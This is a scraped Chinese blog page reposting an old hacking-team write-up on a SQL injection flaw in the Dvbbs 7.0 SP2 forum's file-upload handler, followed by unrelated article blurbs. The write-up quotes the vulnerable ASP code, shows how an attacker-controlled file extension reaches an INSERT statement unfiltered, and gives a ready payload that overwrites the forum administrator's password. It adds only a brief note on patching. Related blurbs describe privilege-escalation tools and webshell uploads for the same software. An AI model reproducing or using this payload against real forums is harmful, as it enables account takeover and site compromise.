dvsp2上传漏洞再现----击溃动网sp2的神话 (转至Hoky Security Team)

一次实时数据链路丢数排查:从 MQTT 队列积压到 SQL 统计开销 本文通过一次实时数据链路压测,排查了从MQTT到ClickHouse的端到端数据丢失问题。核心方法是为每条消息添加序号,建立独立观察点(MQTT订阅端、Kafka消费者),结合转发服务阶段统计与线程栈分析,定位到下游处理速度不足源于Druid SQL合并统计的高开销。优化措施包括关闭SQL合并、扩容代理队列、增强生产侧失败处理,并验证15分钟内实现全链路对账一致,显著缓解积压与丢包。关键收获:数据可对账、明确各阶段“成功”定义、关注客户端队列状态。 阅读详情
dvsp2上传漏洞再现----击溃动网sp2的神话

来自:TNT-B Security Team

这篇是我们TNT-B小组贴在dvbbs上的一篇文章!
原文见
http://www.dvbbs.net/TNT-B/DVBBS.TXT 可能现在已经删了!hoho

前段时间听说动网的上传再次出现了不可修复的错误,有人居然说是upload.inc有错,我仔细的读了N遍代码,可以肯定的说,upload.inc应该没有办法利用,今天无意中跑到动网的官方网站上去仔细的看了一下,个人资料修改里有上传,但是发帖里却没有上传,upload.asp和post_upload.asp同样用到了upload.inc,证明这个文件绝对没有问题,那问题一定出在post_upfile.asp上了,打开这个文件再次通读一遍!
一看
If upload_ViewType<>999 and F_Type=1 then
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")
Else
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")

有sql语句,难道传说中的上传再次利用是注入而不是上传,那我们就把他提交的变量每一个来通读一下
Dvbbs.BoardID,Dvbbs.UserID,Dvbbs.membername,F_Viewname,F_Type,Filesize这几个是肯定没有问题的,其它的几个我们就来看一下,这几个变量从哪来的,怎么得到的!

先说第一个replace(rename,"|","")把rename里的"|"这个符号去掉,我们看看rename的变量怎么来的,rename=createPath&Filename&"|"
是用createpath和filename连接起来再加上"|"生成的,"|"符号在后面被过滤了,可以不用考滤,再分别看看creatpath和filename
File_name = createName()
Filename = File_name&"."&FileExt(由file_name和fileExt联合起来的)
Private Function createName()
Dim ranNum
Randomize
ranNum=int(999*rnd)
createName=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum
End Function

很明显,file_name是按年月日加随机数生成的,没有办法利用,疑点就在fileExt了。。。。。
难道,传说中的就要出现了,先不慌,我们先看看其它的地方
而creatpath又是这样来的
Private Function createPath()
Dim objFSO,Fsofolder,uploadpath
uploadpath=year(now)&"-"&month(now) '以年月创建上传文件夹,格式:2003-8
On Error Resume Next
Set objFSO = Server.createObject("Scripting.FileSystemObject")
If objFSO.FolderExists(Server.MapPath(CheckFolder&uploadpath))=False Then
objFSO.createFolder Server.MapPath(CheckFolder&uploadpath)
End If
If Err.Number = 0 Then
createPath=uploadpath&"/"
Else
createPath=""
End If
Set objFSO = Nothing
End Function

creatpath又是用uploadpath加上fso按年月生成的,例如uploadfile/2004-11之类的,这样,又不能利用
好,这里发现一个疑点了

我们再看另一个变量replace(FileExt,".",""),直接就是前面提到的有疑点的那个fileExt了,呵呵,看准了,就是他了。我们把他的来龙去脉全找出来,看看能不能利用
Set File=upload.File(FormName) ''生成一个文件对象
FileExt=FixName(File.FileExt)
在这里,他开始出现了
file.fileExt这个不是我们提交的扩展名吗,玩过动网上传的都知道,抓个包,改个扩展名这是蛮正常的事,看来有门了,至少我们这个地方可以利用,====,FileExt=FixName(File.FileExt)他还用fixname来过滤了的,我们看看这个函数有什么用
Function FixName(UpFileExt)
If IsEmpty(UpFileExt) Then Exit Function
FixName = Lcase(UpFileExt)
FixName = Replace(FixName,Chr(0),"")
FixName = Replace(FixName,".","") 哈哈,把.替换成空了,为什么动网sp2的上传利用不了,就在这里的原因
FixName = Replace(FixName,"asp","")把asp替换成空
FixName = Replace(FixName,"asa","") asa过滤
FixName = Replace(FixName,"aspx","") aspx过滤
FixName = Replace(FixName,"cer","") cer过滤
FixName = Replace(FixName,"cdx","") cdx过滤
FixName = Replace(FixName,"htr","") htr过滤
End Function

哈哈,全部只是过滤了一些特殊的地方,但是我们如果拿来注入用到的引号,分号,逗号,--,一个都没有过滤,也就是说是通行无阻了,嘎嘎,接下来就是用到构造语句了,我们再来看他的sql语句
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)

在values后面
"&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"
这些全部是正常的,我们改了fleExt后,rename也跟着变化了,所以实际上后面的&replace(FileExt,".","")&这里我们就可以不管了,只要构造前面的rename,再看看reanme是如何来的
rename=createPath&Filename&"|"
File_name = createName()
Filename = File_name&"."&FileExt

createpath是正常的一串值,可以不计,file_name也是正常的值可以不计,中间有一个.可以不计,后面的"|"他帮我们自己过滤了,可以不计.我们假设他的语句为
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("1","1",'"user"','uploadfile/2004-11/2324128374912.jpg','user','jpg',"1","1000",4)

这是一条正常的语句,我们能利用的地方就是jpg,这个地方是我们包里可以传送过去的,是本地的文件扩展名,那我们就把jpg构造成具体的完整的sql语句。
比如jpg替换成
jpg','user','jpg',"1","1000",4);update dv_admin set userpasswrod='123' where username='admin'--jpg

(说一句,他的f_type是用来检测文件类型的,如果是1,也就是图片就执行的前一条sql语句,如果是其它就执行的后一条语句,具体的代码在这里
F_Type = CheckFiletype(FileExt)
checkfiletype函数的代码又是这样的
Private Function CheckFiletype(FileExt)
Dim upFiletype
Dim FilePic,FileVedio,FileSoft,FileFlash,FileMusic
FileExt=Lcase(Replace(FileExt,".",""))
select Case Lcase(FileExt)
Case "gif", "jpg", "jpeg","png","bmp","tif","iff"
CheckFiletype=1
Case "swf", "swi"
CheckFiletype=2
Case "mid", "wav", "mp3","rmi","cda"
CheckFiletype=3
Case "avi", "mpg", "mpeg","ra","ram","wov","asf"
CheckFiletype=4
Case Else
CheckFiletype=0
End select
End Function

这里也用到了fileExt这个变量,也就是我们的扩展名
去掉所有的".",然后再去取后的扩展名,所以我们的语句最后结束时要用考滤到这个,因为第一语句和第二语句构造方法不一样的!)
嘎嘎,dv_admin里的admin的userpassword就被改为123了.
如果是access版的好像有点难度,分号是不能多语执行的,又不是where条件,不能拿来猜测,而且values的值好像不能用select 来把其它的值填入,只有把整个select 的值拿来返回做为记录加入,没办法在values里单独取值,有没有人能有办法构造出这个完美的语法来,教教偶,偶sql水平不是蛮高,access版的暂时还没有想到完整的办法。
文章至些结束了,最的要说的就是所有的放入到sql语句里的参数都要严格检测,这个地方的补丁一个是在fixname()函数里过滤,如果不会的暂时就先关掉发帖上传的功能吧,等补丁!:)
动网最新管理员工具 dvbbs 7.0 sp2 操作说明,请仔细阅读操作说明后进行操作:<br> 1、请把压缩包中的key.asp文件上传到Dvbbs7.0论坛目录下。<br> <br> 2、运行key.asp后选择您所需要的选项。<br> <br> 3、注意:使用完毕后请点击“删除文件”或在FTP中删除key.asp文件以防留有后门。<br> <br> 4、欢迎访问动网论坛官方网站(Aspsky.Net)和官方讨论区(Bbs.Dvbbs.Net)。<br> <br> 5、功能简介:<br> A 在删除了所有管理员情况下,新建admin帐号。<br> B 修改某一用户密码并提升为管理员。<br> C 当论坛关闭时没有开启之匙。<br> D 子论坛统计子数错误之修复。<br> E 修复固顶帖,修复主题表情,修复分版Board_user字段,修复用户表UserTopic字段及自定义权限错误。<br> F 清空本论坛所在服务器的缓存信息。<br> G 修复鲜花与鸡蛋显示undefined。<br> H 修复用户主题值、注册日期为空,星座显示undefined的错误。<br> I 修正删除不活动用户时间值过大的错误。<br> J 查看动网论坛常规信息与常用上传组件及图片处理组件探针。<br> K 识别数据库是否为SP2结构。<br> L 修复帖子解固后无法被固顶或区固顶的错误。 立即下载

相关推荐

在线游戏大厅for dvbbs7.0 sp2

简单安装将所有文件放到你的论坛的根目录下即可!调用文件z_zx_game.asp

DVWA之SQL注入漏洞

DVWA之SQL注入漏洞

weixin_56306210的博客 3040

本色时代 dvbbs 7.0 sp2 修改版

基本动网论坛Dvbbs v7.0.0 sp2修改,数据库已作防下载处理,主要增加即时聊天动作无刷新消费版、股票、在线点播,虚拟形象等插件<br> 后台管理:admin<br> 密码:123456

DVWA命令执行漏洞

本文章仅限于网络安全教学,严禁用于非法途径。若有人因此作出危害网络安全行为后果自负,与本人无关。

Ryongao 1124

MPU6050数据融合避坑指南:当欧拉角遇到万向节死锁,我们该如何处理?

本文深入探讨了MPU6050在姿态解算中遇到的欧拉角万向节死锁问题,提供了四元数解决方案及工程实践策略。通过分析死锁现象的本质,介绍四元数的优势与实现方法,并给出必须使用欧拉角时的三种应对方案,帮助开发者有效规避数据跳变和解算失效问题。

weixin_30415113的博客 541

基于STM32的简易电压、频率、占空比测量仪

任务详解:我们需要实现三个功能: 第一个是测频率的功能,输入信号为频率为1kHz~10kHz的三种波形(方波、三角波、正弦波),这也是我们最常见的三种波形。幅度是不需要测量的,所以先不关心幅度。 第二个是电压报警功能,当输入信号的幅度超过15V时,我们需要报警(这里我用了一个红色LED当报警器,有条件的还可以加个蜂鸣器)并且把此时的信号幅度显示在OLED屏幕上。 第三个是通信方式的要求,需要有串口通信功能。 第四个是计算占空比的任务,这个任务的输入是幅度为1V~10V、频率为20Hz ~1kHz的方波,需要

weixin_43469377的博客 7251

合天网络安全笔记(七)

首先还是欢迎大家晚上准时来听课,今天我们开始新的内容,叫做未授权访问,在未授权访问,不论是实际的应用中,还是各种组件也都经常存在,那这个漏洞是什么意思,给大家先讲一下,未授权访问很简单。比如说一个网站的后台,它本来是要你输入用户名和密码,才能够访问,但是你现在不需要任何凭据信息,就能够直接的访问后台,或者是能够绕过这个凭据的验证,去直接访问后台,那这种漏洞我们都称之为未授权访问。

龙哥盟 1317

平台跳跃游戏中的自动寻路,与地图导航扩展

平台游戏:主要的游戏方式是在2D平面上使用各种方式在悬浮平台上进行移动和穿过各种障碍。 现如的平台游戏中的平台特性与种类是很多的,像马里奥(FC)的单向支撑不可穿透的,或魂斗罗(FC)单向支撑可穿透的… \ 超级玛丽 魂斗罗 空洞骑士 蔚蓝 本博文 支撑 上 上 上 左、上、右 上 穿透 无 上、下 无 上(部分) 上下 所以本文主要以向上支撑并上下穿透的平台特性来进行实现 需求分析 在关卡设计后,地形的数据需要自动识别 地形中的平台可上下穿透移动,并可向上站立 平台的移动路..

MOV的博客 3062

利用动网论坛dvBBS漏洞上传webshell

动网论坛一直是国内比较受欢迎的ASP论坛程序 下载数据库查看DV_upfile数据表,搜索F_ID字段得到php文件地址(前提是知道数据库地址,并且可下载,一般数据库默认地址为/data/dvbbs8.mdb) 1.      通过注入点获得网站的后台账号和密码,但没有找到后台登录地址 2.      下载动网论坛数据库,一般默认地址是/data/dvbbs8.mdb 3.      读取

Jim的博客 4565

我用 Claude Code 给 Spring Boot 老项目做了一次代码 Review:查出 4 类隐藏问题

接手 Spring Boot 老项目时,真正麻烦的往往不是编译报错,而是分散在业务代码中的空指针、N+1 查询、异常吞没和并发隐患。本文记录一次使用 Claude Code 辅助代码 Review 的完整流程,并给出提示词、Java 示例、修改方案和人工复核方法。

海波的专栏 397

Geant4学习——入门(基本概念、Geant4工具包的结构、强制类、可选类)

Geant4是由欧洲核子研究组织基于C++面向对象技术开发的蒙特卡罗应用软件包,用于模拟粒子在物质中输运的物理过程。由于具有良好的通用性和扩展能力,Geant4在涉及微观粒子与物质相互作用的诸多领域获得了广泛应用。 第一部分 Geant4的基本概念 HEP中的模拟是“虚拟现实”。仿真既可用于在研发阶段帮助设计探测器,又可用于物理研究中了解探测器的响应。为了创建这样的虚拟现实,我们需要对粒子间的相互作用,几何形状和材料进行建模,以便将基本粒子传播到检测器中。我们还需要描述检测器生成原始数据的灵敏度。 Gea

M_M-铭的博客 2万+

DVBBS sp2 漏洞

dvsp2上传漏洞再现----击溃动网sp2的神话 (转至Hoky Security Team)dvsp2上传漏洞再现----击溃动网sp2的神话来自:TNT-B Security Team 原文见http://www.dvbbs.net/TNT-B/DVBBS.TXT 可能现在已经删了!hoho前段时间听说动网的上传再次出现了不可修复的错误,有人居然说是upload.inc有错,我仔细的

liswa 电脑备忘录 1631

RK AVS双目融合记录

NOTE] 调试平台双目avs融合调试,需要先保证两个摄像头能正常出图同时出流。使用默认工具测试vi->avs->venc通路是否正常,-a可指定isp效果文件需要开启CONFIG_VIDEO_ROCKCHIP_AVSP和CONFIG_VIDEO_ROCKCHIP_FEC,dts中使能。

mangofu的博客 104

[黑客技术]dvsp2上传漏洞再现----击溃动网sp2的神话

来自:TNT-BSecurityTeam这篇是我们TNT-B小组贴在dvbbs上的一篇文章!原文见http://www.dvbbs.net/TNT-B/DVBBS.TXT 可能现在已经删了!hoho前段时间听说动网的上传再次出现了不可修复的错误,有人居然说是upload.inc有错,我仔细的读了N遍代码,可以肯定的说,upload.inc应该没有办法利用,今天无意中跑到动网的官方网站上...

weixin_33910434的博客 167

Google Earth Engine(GEE)——全球影像数据正确下载方式和注意事项

今天看到有人担心全球影像能不能下载的问题? 有时候我们会用到全球的数据,但是如何下载全球的数据呢? 首先如果没有全球的矢量边界我们会不会无法下载全球的数据,答案当然是可以的,因为我们在边界筛选的过程中filterBounds(),就是为了筛选边界,当我们不进行边界筛选的时候,自然而然默认的边界范围就是全球的,但是紧接着会面临其他两个问题:1如何下载?2如何在不缩小分辨率的情况下下载成功? 对于第一个问题我们如何下载?还是按照正常的逻辑利用export直接倒出到Google硬盘当中, 代码:

此星光明博客 3770

多智能体强化学习MATD3算法完整复现与分析

多智能体强化学习MATD3算法复现与分析摘要 MATD3算法是多智能体深度强化学习领域的重要进展,通过改进MADDPG算法,引入双Q学习、延迟策略更新和目标策略平滑等技术,显著提升了算法稳定性。本文完整复现了MATD3算法,详细解析了其数学原理,包括部分可观测马尔可夫博弈模型和TD3核心思想。在实现层面,设计了集中式Critic和分布式Actor的神经网络架构,采用PyTorch框架构建了Actor-Critic网络模块,包含精心设计的权重初始化和训练流程。该算法有效解决了多智能体环境中的非平稳性、信用分配

max500600的博客 527

动网三部曲(一)dvbbs7.0sp2前台提权

关于这个漏洞网上早就公布了,很多提权工作也都提供了下载。可是最近还是有很多朋友问我怎么操作。为了避免麻烦。我把我知道的都写出来以后大家不要在QQ里问我了。先说一下关于dvbbs7.0sp2的前台提权方法。工具: http://61.232.173.243:83/soft/xiumu/DVBB70SSP2.exe1、先打开需要测试的论坛,版本号必须是dvbbs 7.0sp22、注册一个用户3、打开测

天河书阁 - VicRestart 1052

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

动网三部曲(二)dvbbs7.0sp2后台权限提升

大家在得到了dvbbs的前台权限后,都是很想进一步提升权限。也就是动网的后台管理,大家都知道7.0sp2的版本中,只要得到后台,并且上传文件没有 被删除的情况下,通过备份数据库就可以提到webshell.也就是说,得到了后台相当于得到了这个站的webshell。给大家提供一个工具,只了为了测试一下,请大家遵守国家法律,不要用在违法用途上。工具下载: 点此下载在此说一下,本站提供的工具都是从网上搜集

天河书阁 - VicRestart 1216

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

SQL并行执行的机制解析与计划调控实践

并行执行是大数据量场景的核心提速手段,但用错代价极高。本文从问题边界讲起,梳理并行度的确定层级、优化器生成并行计划的逻辑、数据再分布与通信代价、倾斜成因与识别方法,覆盖表设计、索引策略、并行DML、RAC调度与参数取舍,配合三个真实失败案例与诊断步骤,给出一套可落地的并行治理流程与误区清单。

搞定过:百亿级数据、万级QPS、零宕机、AI工业化。 625

Flink SQL 连接器实战:MySQL Source、Flink CDC 与 JDBC Sink 全解析

提供有界流读取,适合批处理和维表场景,简单直接但无法感知变更。MySQL CDC提供无界流读取,通过「全量快照 + binlog 增量」的方式实现实时捕获,是实时数仓的核心入口,但需要 MySQL 侧正确配置 binlog 和权限。JDBC Sink负责结果回写,关键在于区分仅插入流和更新流,更新流必须依赖主键完成 upsert。掌握这三者的差异,本质上就是掌握了 Flink 中「有界与无界」「追加与更新」这两组最基本的语义。

2401_83857914的博客 422

数据库乐观锁深度解析:MySQL、PostgreSQL 实战 + Spring Boot 集成指南

Oracle 提供了ORA_ROWSCN伪列(System Change Number),记录最后修改行的 SCN,类似 PostgreSQL 的xmin。实践中通常仍使用 version 字段方案,逻辑与 MySQL 完全相同。-- Oracle:通过 ORA_ROWSCN 实现乐观锁-- 更新时比对 SCN// 自定义注解// AOP 切面@Aspect@Component@Slf4jtry {

yjc_1111的专栏 395

云数仓向PostgreSQL生态延伸的技术动因与工程代价

Snowflake以2.5亿美元收购Crunchy Data,把云数仓的触角伸向PostgreSQL生态。本文从负载补齐、元数据标准化与AI应用低延迟读写三个切面拆解收购动机,逐层分析列存与行存的能力边界、存算分离下引入事务负载的提交延迟预算、逻辑复制的接缝风险、元数据统一与混合负载隔离冲突,并给出迁移落地的分阶段验收清单与七个典型误区,最后提供评估厂商PostgreSQL能力的六项观察指标。

搞定过:百亿级数据、万级QPS、零宕机、AI工业化。 409

XSS 过滤器 vs SQL 注入防护:自动化测试平台中的

通过分析 AutoTest Platform 的源码可以看出,在实际开发中合理运用字符转义、参数化查询和白名单策略能够有效减少 Web 安全风险。对于非科班出身或刚刚入门的技术人员来说,理解这些安全措施的具体实现方式是非常重要的一步。建议读者可以尝试以下几个方向深入学习:1. 学习 Jsoup 库及 Whitelist API 的用法,并尝试自定义一套适用于自身项目的 HTML 清理规则;

后台模板 226

智能问数(Text2SQL)的两大方案及实施成本

现在流行挂个 RAG 知识库,把表结构、字段名、业务术语全向量化存起来,每次查询时现去检索相关片段喂给大模型。只做一件事,把口语化的自然语言转成有规则的自然语言,也就是“规范文本”。然后规则引擎根据预先配置好的业务词典和映射规则,把规范文本编译成 100% 准确的 SQL。核心工作量在配置业务词典,把用户爱说的“华北区”“在途订单”这些词,跟数据库表和字段对上。关键是,规则是写死的、确定的。SQL 怎么生成、逻辑怎么组合,全都写在规则里。出了问题,查规则、改词典、补映射,改完就知道对不对,没有不确定性。

Raqsoft 153
上一篇: 在ASP中页面与数据库连接的几种实用方法
下一篇: 一种检查rootkit的方法(wineggdrop)
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值